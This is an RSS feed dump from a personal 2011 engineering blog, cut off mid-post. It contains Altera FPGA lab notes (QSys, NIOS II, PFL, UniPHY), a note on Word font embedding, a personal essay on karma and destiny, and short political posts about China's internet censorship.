<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" media="screen" href="/~d/styles/rss2full.xsl"?><?xml-stylesheet type="text/css" media="screen" href="http://feeds.feedburner.com/~d/styles/itemcontent.css"?><rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:openSearch="http://a9.com/-/spec/opensearch/1.1/" xmlns:georss="http://www.georss.org/georss" xmlns:gd="http://schemas.google.com/g/2005" xmlns:thr="http://purl.org/syndication/thread/1.0" xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" version="2.0"><channel><atom:id>tag:blogger.com,1999:blog-7033598</atom:id><lastBuildDate>Fri, 04 Nov 2011 09:00:26 +0000</lastBuildDate><category>Software</category><category>Tech</category><category>Recipe</category><category>Windows</category><category>Limerick</category><category>Embedded Systems</category><category>FPGA-ASIC-HW</category><category>Linux</category><category>Movie</category><title>HAHAHAHA(HAx4)'s Limerick</title><description>Technology (Embedded Systems, FPGA, ASIC, Hardware, Software, Linux, Windows), Movies, Limerick, Gripes, Recipes.</description><link>http://hax4.blogspot.com/</link><managingEditor>noreply@blogger.com (HAx4)</managingEditor><generator>Blogger</generator><openSearch:totalResults>197</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>25</openSearch:itemsPerPage><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="self" type="application/rss+xml" href="http://feeds.feedburner.com/hahahaha_hax4" /><feedburner:info uri="hahahaha_hax4" /><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="hub" href="http://pubsubhubbub.appspot.com/" /><item><guid isPermaLink="false">tag:blogger.com,1999:blog-7033598.post-1918632304743226369</guid><pubDate>Fri, 04 Nov 2011 08:49:00 +0000</pubDate><atom:updated>2011-11-04T01:53:46.820-07:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Limerick</category><title>Sharepoint</title><description>Google is shooting himself in the foot by forcing Google Reader users to Google+. Merely throwing away the share/note button is not gonna cut it. As many of you might know, I'm not a big fan of social network. I think the whole social network shebang is a conspiracy to ruin the productivity of the entire human race. And by turning my LCD into a black and white TV, the new Google Reader grossly misjudged my sense of aesthetics.&lt;br /&gt;&lt;br /&gt;Since the RSS sharing is dead on Google Reader, I have to find an alternative. Now I have opened a new blog called &lt;a style="font-style: italic; font-weight: bold;" href="http://hax4sharepoint.blogspot.com/"&gt;HAx4's Sharepoint&lt;/a&gt; to replace the previous Google Reader Sharing. No Google+ !!!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7033598-1918632304743226369?l=hax4.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/9ZeiVQrIM6FUHOdvLq31IRsU47Q/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/9ZeiVQrIM6FUHOdvLq31IRsU47Q/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/9ZeiVQrIM6FUHOdvLq31IRsU47Q/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/9ZeiVQrIM6FUHOdvLq31IRsU47Q/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;</description><link>http://feedproxy.google.com/~r/hahahaha_hax4/~3/HbJ1iP91ZOY/sharepoint.html</link><author>noreply@blogger.com (HAx4)</author><thr:total>0</thr:total><feedburner:origLink>http://hax4.blogspot.com/2011/11/sharepoint.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-7033598.post-7298822680803579185</guid><pubDate>Mon, 17 Oct 2011 02:24:00 +0000</pubDate><atom:updated>2011-10-16T19:42:42.866-07:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Limerick</category><title>Word Font, CGC</title><description>&lt;div&gt;MS Word .docx file does not embed fonts by default. You have to choose home button/Word Options/Save/"Embed Fonts in the File" to let it carry those fonts. However, I found that some fonts, like Adobe Garamond Pro, are still missing even after that option is enabled. Maybe this is the part where you are supposed to pay.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;On a different note, I would like to show my appreciation and respect for Mr. CGC (Ref[1]). Given the fact that he lost his eyesight at very young, the mistreatment he and his family have endured puts the rest of us all to shame.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;References:&lt;/div&gt;&lt;div&gt;[1] &lt;a href="http://www.washingtonpost.com/world/asia-pacific/chinese-supporters-of-blind-lawyer-held-under-house-arrest-make-new-push-to-visit-him/2011/10/10/gIQANTCKZL_story.html"&gt;Chinese supporters of blind lawyer held under house arrest make new push to visit him&lt;/a&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7033598-7298822680803579185?l=hax4.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/72O73aaTGMViab0y6o9vfdf6tag/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/72O73aaTGMViab0y6o9vfdf6tag/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/72O73aaTGMViab0y6o9vfdf6tag/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/72O73aaTGMViab0y6o9vfdf6tag/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;</description><link>http://feedproxy.google.com/~r/hahahaha_hax4/~3/JX_KmyRqtfU/word-font-cgc.html</link><author>noreply@blogger.com (HAx4)</author><thr:total>0</thr:total><feedburner:origLink>http://hax4.blogspot.com/2011/10/word-font-cgc.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-7033598.post-1167267871774045522</guid><pubDate>Tue, 16 Aug 2011 07:03:00 +0000</pubDate><atom:updated>2011-08-16T00:06:46.116-07:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Tech</category><category domain="http://www.blogger.com/atom/ns#">FPGA-ASIC-HW</category><category domain="http://www.blogger.com/atom/ns#">Embedded Systems</category><title>Lab Notes - Altera QSys and NIOS II</title><description>&lt;div&gt;From Quartus II V11.0, Altera officially replaced its SOPC builder with the newer QSys design tool. My personal experience with QSys is smooth and every piece falls where they are supposed to be. And here are my two cents:&lt;/div&gt;&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;&lt;div&gt;(1)&lt;span class="Apple-tab-span" style="white-space:pre"&gt;	&lt;/span&gt;Add system ID if necessary. And you can always choose to ignore the mismatch of system ID during firmware download if it causes any problem during firmware development. However it is a good practice to have one built-in.&lt;/div&gt;&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;&lt;div&gt;(2)&lt;span class="Apple-tab-span" style="white-space:pre"&gt;	&lt;/span&gt;Eclipse is a great tool. Use it as much as you can. However, when sometimes command line also comes handy. Here are a few commands that are useful under NIOS II command shell:&lt;/div&gt;&lt;div&gt;===&amp;gt; (A)&lt;span class="Apple-tab-span" style="white-space:pre"&gt;	&lt;/span&gt;download image: nios2-download --cable USB-Blaster -g XXX.elf&lt;/div&gt;&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;&lt;div&gt;===&amp;gt; (B)&lt;span class="Apple-tab-span" style="white-space:pre"&gt;	&lt;/span&gt;nios2-terminal&lt;/div&gt;&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;&lt;div&gt;===&amp;gt; (C)&lt;span class="Apple-tab-span" style="white-space:pre"&gt;	&lt;/span&gt;system-console&lt;/div&gt;&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;&lt;div&gt;(3)&lt;span class="Apple-tab-span" style="white-space:pre"&gt;	&lt;/span&gt;convert from elf to hex. Need this to put boot image in the instruction RAM&lt;/div&gt;&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;&lt;div&gt;===&amp;gt; elf2hex --input=xxx.elf --output=Instruction_RAM.hex --width=32 --verbose --little-endian-mem --base=0x????? --end=0x?????,  where "base" and "end" are the addresses specified in the QSys.&lt;/div&gt;&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7033598-1167267871774045522?l=hax4.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/Ht7tOiqF8DCk75knto1Gd8m2PkM/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/Ht7tOiqF8DCk75knto1Gd8m2PkM/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/Ht7tOiqF8DCk75knto1Gd8m2PkM/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/Ht7tOiqF8DCk75knto1Gd8m2PkM/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;</description><link>http://feedproxy.google.com/~r/hahahaha_hax4/~3/Sk5Ss7aW6XI/lab-notes-altera-qsys-and-nios-ii.html</link><author>noreply@blogger.com (HAx4)</author><thr:total>0</thr:total><feedburner:origLink>http://hax4.blogspot.com/2011/08/lab-notes-altera-qsys-and-nios-ii.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-7033598.post-2640727981858114888</guid><pubDate>Sun, 05 Jun 2011 08:00:00 +0000</pubDate><atom:updated>2011-06-05T01:26:01.923-07:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Limerick</category><title>Hats Off to Those Independent Candidates!</title><description>May 35th has just passed. If you are looking for change, it usually starts small, along with defiance and courage. And here I want to express my greatest gratitude and admiration to those independent candidates. Best Wishes to their campaigns!&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;References:&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;[1] &lt;a href="http://blog.sina.com.cn/s/blog_4701280b010183ny.html" target="_blank"&gt;游戏指南, 韩寒, 05/28/2011&lt;/a&gt; &lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;[2] &lt;a href="http://wuyuesanren.blog.163.com/blog/static/3912714420115145753784/" target="_blank"&gt;回应《环球时报》的社论：烂熟的社会现实, 五岳散人, 06/01/2011&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;a href="http://wuyuesanren.blog.163.com/blog/static/3912714420115145753784/" target="_blank"&gt;&lt;/a&gt;[3] &lt;a href="http://blog.sina.com.cn/s/blog_46e7ba4101017qcm.html" target="_blank"&gt;十三亿分之一股东, 李承鹏, 06/02/2011&lt;/a&gt;&lt;br /&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7033598-2640727981858114888?l=hax4.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/vQj0f7R0LEGocPqvmA-jfaYI42s/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/vQj0f7R0LEGocPqvmA-jfaYI42s/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/vQj0f7R0LEGocPqvmA-jfaYI42s/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/vQj0f7R0LEGocPqvmA-jfaYI42s/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;</description><link>http://feedproxy.google.com/~r/hahahaha_hax4/~3/gV38Kh0_RbE/hats-off-to-those-independent.html</link><author>noreply@blogger.com (HAx4)</author><thr:total>0</thr:total><feedburner:origLink>http://hax4.blogspot.com/2011/06/hats-off-to-those-independent.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-7033598.post-639977326379123380</guid><pubDate>Sat, 28 May 2011 10:30:00 +0000</pubDate><atom:updated>2011-05-28T04:10:48.645-07:00</atom:updated><title>Karma</title><description>&lt;div&gt;&lt;div style="font-style: italic; "&gt;God does not throw dice.&lt;/div&gt;&lt;div style="font-style: italic; "&gt;-- Albert Einstein.&lt;/div&gt;&lt;div style="font-style: italic; "&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Years of being an engineer has turned me into a big disciple of science. As we all know, the ID "Albert Einstein" carries a lot of weight in science. If he says something, I will definitely chew on it for a long while, given the fact that he was able to come up with something as convoluted as the theory of relativity. (To be honest, I did poorly in Physics during my college year, although I once deemed myself having some talent on that subject. At long last, I found out that I am more of a craftsman than a master of science. That's how I ended up as an engineer :-)&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;I was also told by many that God works on a much bigger scale than you and I can ever imagine. Since God is the creator of every human being on earth, and since he created man after his own image, he must know every byte of them by heart. So any attempt by human being to outsmart God will be extremely difficult, if not impossible at all.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;If Mr. Einstein is the Jesus in Physics, those words like karma, kismet, and destiny start to make sense. Despite many of us being the best planner on earth, life is still causatively capricious and fickle in large part. Tiny small things could easily change our life course in a second. You might have heard some nerdish scientists saying that the flap of a butterfly’s wings in Brazil could set off a tornado in Texas. Although I'm not a butterfly, I do know that a small windfall could go a long way.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;I was once an award winner in high school Physics contest. Yes, as I mentioned earlier, I once thought I was somehow gifted on that subject all because of this award-winning. That lucky shot lulled me into the illusion that I can be a scientist in Physics. Yes, can you imagine me being a scientist :-) Of course, Mr. Einstein may soon point out that Physics is not based on illusion. It has never been, and it will never be. In fact, that success indeed is a fluke. Before that contest, I have never advanced to any final round in similar contests. But the contest that I have the moment of Epiphany is the one that carries the most weight in high school years. With that single shot, I boosted my credit ranking dramatically in my high school.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;And starting that year, the education system in the place I live was undergoing a reform. Some bureaucrats also had their moment of epiphany when they were drinking their afternoon teas in their air-conditioned office. If my memory serves well, the scientific facts at that time were that my home country has never had any indigenous Nobel laureates in nature science. (Regretfully, my home country still keeps the zero success-rate on that matter up to this point. But the good news is that this years' Nobel Peace Prize has been awarded to ... the "You Know Who", which is beyond the scope of this article.). As you know, the government of my home country is very enthusiastic in any spectator sports, be it Olympic Games or World Cup. So the lack of grand standing success in science is no doubt an embarrassment at too many levels. They decided to pick some high school graduates to form elite classes in major universities, just like they pick some young folks to join the national soccer team, and focus their resources on those elite classes. The wishful thinking is that someone from such elite classes could one day win the Nobel Prize (presumably Physics when I was picked. Statistically if I'm lucky enough to hit an award at regional level, I should be able to hit a bigger one at higher level over a long period of time, right? :-). Anyway, due to my newly boosted credit ranking at my high school, I was admitted into one of such elite classes through the recommendation of my high school.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Being able to getting into such elite class did open my eyes widely. I met a lot of new folks who have fatty IQ scores. On top of that, they also showed huge interest in western literature, which make sense since English by itself must be more fascinating than the mind boggling Physics and Mathematics. Their fervor in English also influenced me as well. So the fluke in Physics competition somehow pushed me westward. And soon I found out that my IQ score is not in the same order as that of Mr. Einstein's. (I assume that is not a surprise to any of you, right:-) Engineering might be a closer match to my IQ score. Yes, I flunked on the way to Nobel Prize due to the constraint of my IQ score (Hope those fatty-score-folks could have better outcomes in that quest :-), but on the other hand, being able to get into an elite class did lend credit to my capability. And that was translated into a job offer after my graduation that brought me to the Mecca of tech world. When I was cracking Physics nuts on that day of contest, I'd never thought I would meet those wonderful folks in my life later, and work thousands miles away from my home town. Now come to think of it, perhaps God has something other than Physics for me to crack. God does work in a mysterious way.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;But curiosity is human nature. Human Beings have never stopped their effort to fathom God's next move. In the theory of probability and random processes (Ref [1]), there is something called Markov Chain. Basically, it is a way to model the dependency among state transitions. If we take samples for observation, and if we observe long enough, we will notice that if a certain state with small transition probability does happen at some point over time, those states followed could become dramatically different afterwards. If we have to put out something mathematically to offer interpretation for karma and kismet, this is the closest we can get as far as I can tell. Although it offers no clue for God's next move, it does illustrate that a small state change in life could mean dramatic consequences. If something is in your destiny, that state is bound to be reached no matter how impossible it looks like from the humongous state space.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;As many of you might know, I'm also a movie buff. One of my all time favorite is "A Chinese Odyssey" (by Stephen Chow, Athena Chu etc.). In the second installment of this movie (Ref [2]), the monkey king (Stephen Chow) successfully drew the sword out of the sheath, which is a sign that he is the preordained husband of Violet fairy (Athena Chu). So the Violet fairy asked him with hesitation that "There is a preordained marriage for me, but ...", and what the monkey king said was: "Don't worry about anything else. That is your kismet, and kismet trumps!" (你管他那麽多，上天安排的最大嘛!). Yes, kismet trumps, and destiny will prevail. And just like the movie, God will put his arrangement in the kismet, and it might also give you a sign from time to time to guide you to your destination. If your mom was told by a fortune-telling monk that her little daughter would one day fly over the ocean to be with her husband on the other side of the Pacific, would you take that seriously? Have you ever thought that a last minute phone call could bring someone you never know before to your side from thousands of miles away? Distance and time can never match the power of karma. (Mr. Einstein must be on the same page with me for this conclusion:-)&lt;/div&gt;&lt;div&gt;  &lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;And welcome to the land of freedom, honey!!&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;a href="https://5414252426007751672-a-1802744773732722657-s-sites.googlegroups.com/site/rabbitholehax4/Amazing.jpg?attachauth=ANoY7crTZSYXg9ALknwFpLJCVmxR52WnjdeWKtpdvslnQ4oD4LjX7Bn6lZMLCL_uCQjc7KDqdds00GOx_F7Nz-6LHQ4_MDASwFeL3dbao9R6iFLNs0HsYkptmHZu9sE9hR0ZsiTjmlA0P6gZOCOcQoShkVziauDKk3M_PTvf7qBnGoRZ01mjCTXE_IebxICTm9qrOjFIOqkD&amp;amp;attredirects=0" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 564px; height: 315px;" src="https://5414252426007751672-a-1802744773732722657-s-sites.googlegroups.com/site/rabbitholehax4/Amazing.jpg?attachauth=ANoY7crTZSYXg9ALknwFpLJCVmxR52WnjdeWKtpdvslnQ4oD4LjX7Bn6lZMLCL_uCQjc7KDqdds00GOx_F7Nz-6LHQ4_MDASwFeL3dbao9R6iFLNs0HsYkptmHZu9sE9hR0ZsiTjmlA0P6gZOCOcQoShkVziauDKk3M_PTvf7qBnGoRZ01mjCTXE_IebxICTm9qrOjFIOqkD&amp;amp;attredirects=0" border="0" alt="" /&gt;&lt;/a&gt;&lt;br /&gt;References:&lt;br /&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;[1] Probability and Random Processes with Applications to Signal Processing (3rd Edition), Henry Stark, John W. Woods, Prentice-Hall, 2002&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;[2] &lt;a href="http://movie.mtime.com/12175/" target="_blank"&gt;A Chinese Odyssey (Part Two, 大话西游之大圣娶亲)&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7033598-639977326379123380?l=hax4.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/HiH7EAomL0u2Cv24p5wR3mSkJ0c/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/HiH7EAomL0u2Cv24p5wR3mSkJ0c/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/HiH7EAomL0u2Cv24p5wR3mSkJ0c/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/HiH7EAomL0u2Cv24p5wR3mSkJ0c/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;</description><link>http://feedproxy.google.com/~r/hahahaha_hax4/~3/Hx1XYFiZ49Q/karma.html</link><author>noreply@blogger.com (HAx4)</author><thr:total>0</thr:total><feedburner:origLink>http://hax4.blogspot.com/2011/05/karma.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-7033598.post-7212949034628459617</guid><pubDate>Tue, 24 May 2011 07:53:00 +0000</pubDate><atom:updated>2011-05-24T01:51:37.876-07:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Tech</category><category domain="http://www.blogger.com/atom/ns#">FPGA-ASIC-HW</category><category domain="http://www.blogger.com/atom/ns#">Embedded Systems</category><title>Lab Notes: Altera PFL</title><description>&lt;div&gt;One way to config Altera FPGA is to use an Altera CPLD as flash controller; read out the FPGA bit file from flash and config the FPGA device during power on. The CPLD could also function as a flash programmer through its JTAG interface.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Altera has a megafunction called PFL (Parallel Flash Loader) in its Quartus II software. Here are a few notes on PFL:&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;(1)&lt;span class="Apple-tab-span" style="white-space:pre"&gt; &lt;/span&gt;Prepare the FPGA image. The default file format generated by Quartus II is .sof format. It should be converted by Quartus II (under Menu File) to .pof format&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;(2)&lt;span class="Apple-tab-span" style="white-space:pre"&gt; &lt;/span&gt;PFL has both programmer and loader function. Please be advised that if "optimization for speed" is chosen, the size of this megafunction could be pretty big for some MAX II device.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;(3)&lt;span class="Apple-tab-span" style="white-space:pre"&gt; &lt;/span&gt;Under Quartu II programmer software, right click the CPLD device and choose "attach flash device" to add a flash attachment. Add the flash device and .pof file from there.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;(4)&lt;span class="Apple-tab-span" style="white-space:pre"&gt; &lt;/span&gt;It might take more than 10 minutes to program a big flash. And more than 30 minutes to verify the flash.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;(5)&lt;span class="Apple-tab-span" style="white-space:pre"&gt; &lt;/span&gt;When program the flash through CPLD's JTAG, sometimes it will show "Can't recognize silicon ID for device x". Other than the board problem, it is usually the incorrect IO constrain on CPLD that leads to such failure. (Please note that flash_data[] is bidirectional. pfl_flash_access_granted can be set to high, and leave pfl_flash_access_request unconnected)&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7033598-7212949034628459617?l=hax4.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/_cha0YMX6CZPXV-5fdNONMaMeQw/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/_cha0YMX6CZPXV-5fdNONMaMeQw/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/_cha0YMX6CZPXV-5fdNONMaMeQw/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/_cha0YMX6CZPXV-5fdNONMaMeQw/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;</description><link>http://feedproxy.google.com/~r/hahahaha_hax4/~3/KqAW4AUYGWw/lab-notes-altera-pfl.html</link><author>noreply@blogger.com (HAx4)</author><thr:total>0</thr:total><feedburner:origLink>http://hax4.blogspot.com/2011/05/lab-notes-altera-pfl.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-7033598.post-7086996164854023551</guid><pubDate>Mon, 23 May 2011 07:49:00 +0000</pubDate><atom:updated>2011-05-23T00:55:06.536-07:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Limerick</category><title>FBX is egged on!</title><description>&lt;div&gt;Anyone who tries to access GMAIL from China recently would know how excruciating it is to be behind walls. Yes, the F* GFW is stubbornly running a fool's errand (Mrs. Clinton also has contribution to this phrase.)&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;So when the news comes that FBX, the father of GFW, is egged on, literally, followed by an angry shoe attack, the mood is quite hilarious across board. Although I'm strongly against violence, and I believe everybody deserves a due process, even for guys like FBX, I still think a prank like this is acceptable, given the hardship he has wrought in and out of the GFW. I also believe that any wall, no matter how tall it is, will crumble sooner or later under the barrage of time.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;References:&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;[1] &lt;a href="http://www.pekingduck.org/2011/05/gfws-father-fang-binxing-pelted-by-wuhan-students/" target="_blank"&gt;Father of the GFW Fang Binxing pelted by Wuhan students, The Peking Duck, 05/20/2011&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7033598-7086996164854023551?l=hax4.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/FDQ8OveijtyI4JzUlGOyvJTEWjI/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/FDQ8OveijtyI4JzUlGOyvJTEWjI/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/FDQ8OveijtyI4JzUlGOyvJTEWjI/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/FDQ8OveijtyI4JzUlGOyvJTEWjI/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;</description><link>http://feedproxy.google.com/~r/hahahaha_hax4/~3/2sQ0vX0I3ZY/fbx-is-egged-on_23.html</link><author>noreply@blogger.com (HAx4)</author><thr:total>0</thr:total><feedburner:origLink>http://hax4.blogspot.com/2011/05/fbx-is-egged-on_23.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-7033598.post-5616789368062053685</guid><pubDate>Sun, 22 May 2011 08:37:00 +0000</pubDate><atom:updated>2011-06-16T15:00:14.234-07:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Tech</category><category domain="http://www.blogger.com/atom/ns#">FPGA-ASIC-HW</category><category domain="http://www.blogger.com/atom/ns#">Embedded Systems</category><title>Lab Notes : Altera UniPHY for DDR and QDR</title><description>&lt;div&gt;Altera provides UniPHY megafunction for DDR (DDR3) and QDR (QDR II+) respectively in Quartus II. If you use them in your FPGA design, here are a few words for caution:&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;(1)&lt;span class="Apple-tab-span" style="white-space:pre"&gt; &lt;/span&gt;The UniPHY needs Pull up and Pull down resistor for OCT calibration. Make sure these resistors are in place. (Usually 50 ohm 1%)&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;(2)&lt;span class="Apple-tab-span" style="white-space:pre"&gt; &lt;/span&gt;assign pin locations.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;(3)&lt;span class="Apple-tab-span" style="white-space:pre"&gt; &lt;/span&gt;Copy timing parameters, such as tSA etc, from datasheet to the mem parameters tab during megafunction setup. Set up other things accordingly.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;(4)&lt;span class="Apple-tab-span" style="white-space:pre"&gt; &lt;/span&gt;Provide your base clock (oscillator) to pin pll_ref_clk. Make sure pll_locked is asserted after reset&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;(5)&lt;span class="Apple-tab-span" style="white-space:pre"&gt; &lt;/span&gt;The UniPHY has a calibration process during initialization. Make sure the afi_cal_success signal is asserted after reset&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;(6)&lt;span class="Apple-tab-span" style="white-space:pre"&gt; &lt;/span&gt;Often times, the calibration process fails. (afi_cal_fail is raised.). Other than the board problem, the usual suspecter is that the design is not properly constrained. In Quartus II, please run the TCL script called xxx_pin_assignments.tcl from the mega-plugin generated folder. &lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;(7)&lt;span class="Apple-tab-span" style="white-space:pre"&gt; &lt;/span&gt;For QDR, the chip usually needs two clocks. One is the K, the other is the C. If the QDR SRAM is not in single clock mode, C is needed. However, the UniPHY does not provide C on its memory interface. One way to generate the C is to use an obuf that is based on the pll_mem_clk.&lt;/div&gt;&lt;div&gt;&lt;br 